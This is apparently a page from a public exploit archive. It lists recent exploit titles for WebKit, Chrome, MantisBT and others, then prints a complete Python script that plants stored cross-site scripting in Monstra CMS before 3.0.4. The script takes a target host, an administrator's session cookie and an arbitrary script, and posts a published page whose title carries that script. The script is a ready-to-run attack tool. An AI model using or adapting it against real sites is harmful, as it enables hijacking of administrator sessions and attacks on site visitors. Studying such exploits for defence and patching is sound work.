0381c4c519
11 changes to exploits/shellcodes
Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service
WebKit - WebAssembly Compilation Info Leak
Google Chrome - Integer Overflow when Processing WebAssembly Locals
WebKit - Use-After-Free when Resuming Generator
WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access
WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access
TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass
MantisBT XmlImportExport Plugin - PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)
Mantis 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
Mantis Bug Tracker 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
MantisBT 1.2.3 (db_type) - Cross-Site Scripting / Full Path Disclosure
MantisBT 1.2.3 (db_type) - Local File Inclusion
Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure
Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion
Mantis 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis 0.19 - Remote Server-Side Script Execution
Mantis 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x - New Account Signup Mass Emailing
Mantis Bug Tracker 0.19 - Remote Server-Side Script Execution
Mantis Bug Tracker 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x - New Account Signup Mass Emailing
Mantis 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis Bug Tracker 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
MantisBT 1.1.8 - Cross-Site Scripting / SQL Injection
Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection
MantisBT 1.2.19 - Host Header
Mantis Bug Tracker 1.2.19 - Host Header
MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (1)
Monstra CMS < 3.0.4 - Cross-Site Scripting Automation
Monstra CMS < 3.0.4 - Cross-Site Scripting
XiongMai uc-httpd 1.0.0 - Buffer Overflow
Splunk < 7.0.1 - Information Disclosure
Linux/ARM - Egghunter (\x50\x90\x50\x90) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (60 bytes)
55 lines
No EOL
1.8 KiB
Python
Executable file
55 lines
No EOL
1.8 KiB
Python
Executable file
# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
|
|
# Date: 2018-06-07
|
|
# Author: DEEPIN2
|
|
# Software: Monstra CMS
|
|
# Version: 3.0.4 and earlier
|
|
# This automation code requires Python3
|
|
# You must intercept the first request through the proxy tool to verify the CSRF token.
|
|
|
|
import requests
|
|
import re
|
|
|
|
def runXSS(target, cookie, data):
|
|
exploit = requests.post(target, cookies=cookie, data=data).text
|
|
if re.search('exploit', exploit):
|
|
return 'OK'
|
|
else:
|
|
return 'ERROR'
|
|
|
|
if __name__ == '__main__':
|
|
print(''' ______ _______ ____ ___ _ ___ _ ___ _ _ ___
|
|
/ ___\ \ / / ____| |___ \ / _ \/ |( _ ) / |/ _ \/ / |( _ )
|
|
| | \ \ / /| _| _____ __) | | | | |/ _ \ _____| | | | | | |/ _ `
|
|
| |___ \ V / | |__|_____/ __/| |_| | | (_) |_____| | |_| | | | (_) |
|
|
\____| \_/ |_____| |_____|\___/|_|\___/ |_|\___/|_|_|\___/
|
|
[*] Author : DEEPIN2(Junseo Lee)
|
|
---------------------------------------------------------------------''')
|
|
print('[*] Ex) http://www.target.com -> www.target.com')
|
|
url = input('Target : ')
|
|
print('[*] Required admin\'s PHPSESSID.')
|
|
PHPSESSID = input('PHPSESSID : ')
|
|
pagename = input('Pagename : ')
|
|
script = input('Script : ')
|
|
target = 'http://' + url + '/admin/index.php?id=pages&action=add_page'
|
|
cookie = {'PHPSESSID':PHPSESSID}
|
|
data = {'csrf':'9c1763649f4e5ce611d29ef5cd10914fa61e91f5',\
|
|
'page_title':script,\
|
|
'page_name':pagename,\
|
|
'page_meta_title':'',\
|
|
'page_keywords':'',\
|
|
'page_description':'',\
|
|
'pages':0,\
|
|
'templates':'index',\
|
|
'status':'published',\
|
|
'access':'public',\
|
|
'editor':'',\
|
|
'page_tags':'',\
|
|
'add_page_and_exit':'Save+and+Exit',\
|
|
'page_date':'9999-99-99'}
|
|
|
|
result = runXSS(target, cookie, data)
|
|
print('-' * 69)
|
|
if result == 'OK':
|
|
print('[+] LINK : http://' + url + '/' + pagename)
|
|
else:
|
|
print('[-] Error') |